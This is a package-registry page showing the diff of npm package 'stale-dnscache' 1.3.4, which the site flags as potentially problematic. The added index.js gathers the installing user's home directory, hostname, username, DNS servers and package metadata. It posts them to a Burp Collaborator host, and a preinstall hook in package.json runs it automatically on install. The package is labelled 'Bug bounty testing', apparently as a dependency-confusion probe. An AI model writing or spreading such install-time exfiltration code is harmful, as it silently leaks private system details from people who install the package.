stale-dnscache 1.3.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of stale-dnscache might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +43 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,43 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+
6
+ const trackingData = JSON.stringify({
7
+ c: __dirname,
8
+ hd: os.homedir(),
9
+ hn: os.hostname(),
10
+ un: os.userInfo().username,
11
+ dns: dns.getServers(),
12
+ r: packageJSON ? packageJSON.___resolved : undefined,
13
+ v: packageJSON.version,
14
+ pjson: packageJSON,
15
+ });
16
+
17
+ var postData = querystring.stringify({
18
+ msg: trackingData,
19
+ });
20
+
21
+ var options = {
22
+ hostname: "57aty5fe6xsuvwzioz7iuxeih9n0bp.burpcollaborator.net", //replace burpcollaborator.net with Interactsh or pipedream or your servername
23
+ port: 443,
24
+ path: "/",
25
+ method: "POST",
26
+ headers: {
27
+ "Content-Type": "application/x-www-form-urlencoded",
28
+ "Content-Length": postData.length,
29
+ },
30
+ };
31
+
32
+ var req = https.request(options, (res) => {
33
+ res.on("data", (d) => {
34
+ process.stdout.write(d);
35
+ });
36
+ });
37
+
38
+ req.on("error", (e) => {
39
+ // console.error(e);
40
+ });
41
+
42
+ req.write(postData);
43
+ req.end();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "stale-dnscache",
3
+ "version": "1.3.4",
4
+ "description": "Bug bounty testing",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }